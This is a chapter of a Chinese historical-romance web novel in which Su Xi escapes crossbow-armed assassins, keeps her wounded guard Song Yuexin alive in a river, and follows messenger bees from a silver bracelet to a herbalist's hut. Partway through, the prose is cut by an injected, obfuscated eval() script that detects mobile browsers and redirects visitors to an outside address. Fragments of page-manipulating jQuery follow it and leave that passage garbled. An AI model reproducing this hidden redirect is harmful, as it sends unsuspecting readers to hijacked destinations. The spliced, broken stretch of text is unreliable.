苏樨摇摇头,驳回了自己的观点,“说不通啊,她老人家若是不准,玉衡也很难违抗懿旨啊。”
莫非不苟言笑的脸上越发严肃,“不是宫里的暗卫,太后娘娘也不至于要买杀手。”
松月心安慰道:“姑娘,没事,等见到了公子,一切便能迎刃而解。”
苏樨走到河边用水洗了下脸,清醒清醒,“咱们抓紧去埠北。”
莫非用刀在河边树下刻了一个半弧弓箭的符号。
松月心解释道:“这是给公子留讯息,哪怕我们走散了,其他人也能凭此找到我们。”
莫非收了刀以后,朝着来时的方向,面色一凛,“姑娘,他们追上来了。”
松月心忙不迭带苏樨上了马车。
苏樨的心跳得飞快,松月心紧紧握住她的手,示意她别害怕。
一支箭射穿了后车厢。就堪堪擦在苏樨的耳边。
苏樨瞪大了眼睛,被松月心扑倒。后车厢被数只箭射穿。
马车终究是跑不过快马。
两个黑衣人已骑马到车厢外,抽刀削掉了车厢顶。另外两个黑衣人手持单□□,朝着苏樨和松月心发射弩箭。松月心抬手抽刀砍断弩箭。
莫非驾着马车在前,时不时看向后面战况,见松月心一人御敌,牵住缰绳,递给苏樨,“姑娘,您抓紧缰绳。”
苏樨此刻也只能赶鸭子上架赶马车,接过缰绳。她还没爬到前面,一匹马被弩箭射中腿,摔倒在地。马车往右侧一倒,苏樨一下被甩了出去。
松月心飞身来扶她。
莫非一人持刀,飞身而上,以身力敌拦住四个黑衣人。“月心,带姑娘走!一定要见到主子!”
松月心砍断缰绳,抱起苏樨上了另一匹马,头也不回地疾驰而去。
苏樨一直在哆嗦,坐在松月心身前,耳畔是呼啸的风声,眼角被风刮得生疼,冰凉的眼泪乱飞。
“姑娘,您,别往回看……”
温热粘稠的液体落到苏樨脸上。
苏樨抹掉脸上的鲜血,死死咬着自己的唇。痛意让她清醒,她才没崩溃。她不敢去想莫非怎么样,她也不敢抬头去看松月心。
眼里只剩下前面灰白的路。
天色渐渐暗沉,快马跑进了山林。山林里迷雾霭霭,道路崎岖,快马已无法再往前行进。
松月心倾身,把自己摔到地上。苏樨慌慌张张爬下马鞍,发现她背后中了几只弩箭,身上的衣服早已被鲜血染透。
她抿着唇,鼻尖一酸,眼前便被眼泪模糊了。
松月心抬手,“姑娘别哭。跑,往这个方向跑……”
苏樨咬着牙扶起浑身是血的松月心。松月心虚虚道:“姑娘,别管我……姑娘,听我说……往这个方向,一直……会有医……”
“你别说话,我不会丢下你的。”苏樨擦掉自己脸上的眼泪,弯下身子背起松月心。
“姑娘,保护姑娘是我们的职责……”
“不行,”苏樨吸了吸鼻子,“不行不行不行……你一定要活着。”
要命关头,苏樨忘记了自己身上的疼痛,拼尽所有力气背着松月心往山林深处跑去。
三个黑衣人终究还是追了上来。
松月心几次想让苏樨放弃她,却被苏樨倔强不屈的眼神吓到。苏樨双眼通红,眼角渗着血色,她只剩下眼前。她背着松月心逃到大河边,眼前没路,身后没活路。
松月心搭在树旁,喘气,“姑娘,你快逃,我来拦住他们。”
弩箭嗖嗖地在身边穿过。眼尖黑衣人的身影越来越近,苏樨情急之下一手抓过地上的一支箭,假意刺在胸前大叫了一声。
“姑娘,你这是……”
“月心,憋气。”
苏樨抓过松月心的腰带,倒向了河里。
水下,苏樨丢下弩箭,借着浮力拉着松月心的腰带顺着河岸河流往下游。
待松月心没气了,她凑上前去给她渡气。以前被逼着学游泳的时候她还不知道,有一天还能派上用场。
岸上的黑衣人见苏樨和松月心中箭掉进河里,道:“她们中箭掉河里,这条河通往媞母山,媞母山凶险异常,活不成。”
苏樨拉着松月心在河里沉沉浮浮漂了很久,终于在一处浅洼地上了岸。
松月心已昏迷不醒。
苏樨做了好几次人工呼吸,松月心才微微睁开了眼。“姑娘……”
“月心,现在我们不知在哪,你撑着点,我想办法去找路……”
松月心微微抬起手,她手上有一只一直戴着的银镯。苏樨不明白,但见她晃了两下手,该是这镯子怎么了。
她的目光无意间扫到自己的左手腕。小哥哥送的那只镯子又不见了。
但这回她没有多余的心思去想丢在哪里,怎么交代……
她握住松月心的手,仔细查看银镯。银镯花纹繁复,这花纹罕见,是那日庙会上紫荆姐姐科普过的蜂纹。蜂纹传信?难道月心是传信使?
银镯左侧有一个细如针尖的孔槽。右侧是几不可见的凸钮。苏樨按下凸钮,一声极为清脆的咔哒以后,银镯对半打开。银镯为空心镯,伴随着很淡很淡的花香味,四只蚂蚁大小的蜜蜂从银镯飞出。
四只蜜蜂在原地停滞一会儿,松月心眯着眼看到蜜蜂们飞旋,又摆了一下手。蜜蜂们朝着四处方向飞去。
苏樨不知要跟哪个蜜蜂走,在原地查看松月心的伤口。五支箭的位置在背上不好碰触,她也不敢盲目去拔箭。只是这伤口碰了水,有点发胀,很有可能会发炎。眼下必须要赶紧找到出路,带她治伤才行。
不多时,其中一只蜜蜂飞回银镯旁停歇。其他三只蜜蜂陆陆续续回来。第一只蜜蜂重新朝着一个方向向前飞去。
应该是找到出路了。
苏樨连忙背起松月心,跟着那只蜜蜂走。
不知走了多久,山中起了大雾,唯有四只蜜蜂交替引路。
苏樨走得双腿失去了知觉,眼里只有蜜蜂。耳朵里只剩下松月心或深或浅的呼吸声。
背上的松月心呼吸渐渐轻了。
苏樨赶忙道:“月心,月心,我一个人害怕,你不要睡好不好……”
“你就听我讲话,让我有个伴,我就不怕了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657832|184639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。这荒山野岭,也不知道有没有野兽……”
她背着松月心从清晨走到黄昏,嘴唇干裂,双腿和双臂都已发麻,背上的肌肉也已经僵硬。她不敢停下来,生怕耽误一秒就耽误了月心一线生机。
“月心,你听我说,我跟你讲我们那里的很多事情……”
苏樨从春秋战国说到明清,大概能记住的一些历史课上的知识都用上了,说的乱七八糟没有条理,想到什么就说什么。
她又无比愤慨地说起屈辱的近代史,说到这些,她似乎忘记了现实。“红军八百里长征,翻雪山,过草地,他们那么艰苦的条件都走过来了,我们也一定可以的!我们还有小蜜蜂呢!”
松月心双眼迷蒙,隐隐约约瞧见苏樨眼角的红色泪光,比珍宝轩库房里的任何玛瑙宝珠都要闪耀。
有蜜蜂给她们引路,白天,黑夜,饿了就吃野果。她们一路上很走运,没遇到野兽。
终于苏樨走得双腿发麻,一直在打颤,实在迈不动一步。她在一条溪流边停了下来,放下奄奄一息的松月心,去小溪边打水。她自己喝了一口,再抬头时,她愣了一下,隐约在清晨雾气氤氲之中看到了茅草屋。
幻觉?
她再往前迈了一步,一个重心不稳,摔进了溪流中,幻觉一直没有消失。
苏樨用水洗了好几次自己的眼睛,回过身用叶子舀了水给松月心喂上,目光一直没有离开幻觉里的茅草屋。
“月心,我好像看见茅草屋了,可能是人家,我过去看看。你在这里等我。你答应我千万别睡。”
松月心几不可见地垂了一下脑袋。
苏樨得到松月心如的肯定以后,立刻转身淌过小溪流,朝着幻觉中茅草屋的方向跑去。
脚下是荆棘地。
她隐隐觉得脚底有些刺痛,小腿上又痒又痛的感觉密密麻麻传来。
她没法停下来。这一切在求生面前算得了什么。
茅草屋的影子越来越清晰,越来越实在。
她大喜过望。
茅草屋有两间,廊下有晒着干草,整整齐齐地摆放了很多只坛子罐子。茅草屋外用稀疏的篱笆隔出了一个院子。院子里杂草丛生,却摆放着很多罐子。还有三只公鸡两只母鸡在悠闲地散步。
这里有人居住!
月心有救了!
篱笆外的荆棘丛有她的膝盖这么高。苏樨快速穿过荆棘地,小腿被荆棘划出了无数道细小的口子。
她来到矮小的篱笆外,雾气中弥漫着中药特有的苦涩的味道。
苏樨忍住澎湃激动的心情,这回可算误打误撞着了,这里住着的可能是会医药的人!
苏樨翻过篱笆,跑进院子,惊得鸡飞蛋打。她跑上台阶,来到茅草屋门前,举起满是鲜血的双手,疯狂地敲门,“有人吗?”
沙哑的声音逐渐焦灼急切,“有人吗?有人吗!”
温热的鼻血从鼻腔里流出来,她抹了抹鼻子继续疯狂敲门,嗓子劈裂,“救救我朋友!救救我朋友!”
苏樨见没人回应,打算破门而入。她往后退了几步,摆出架势百米冲刺。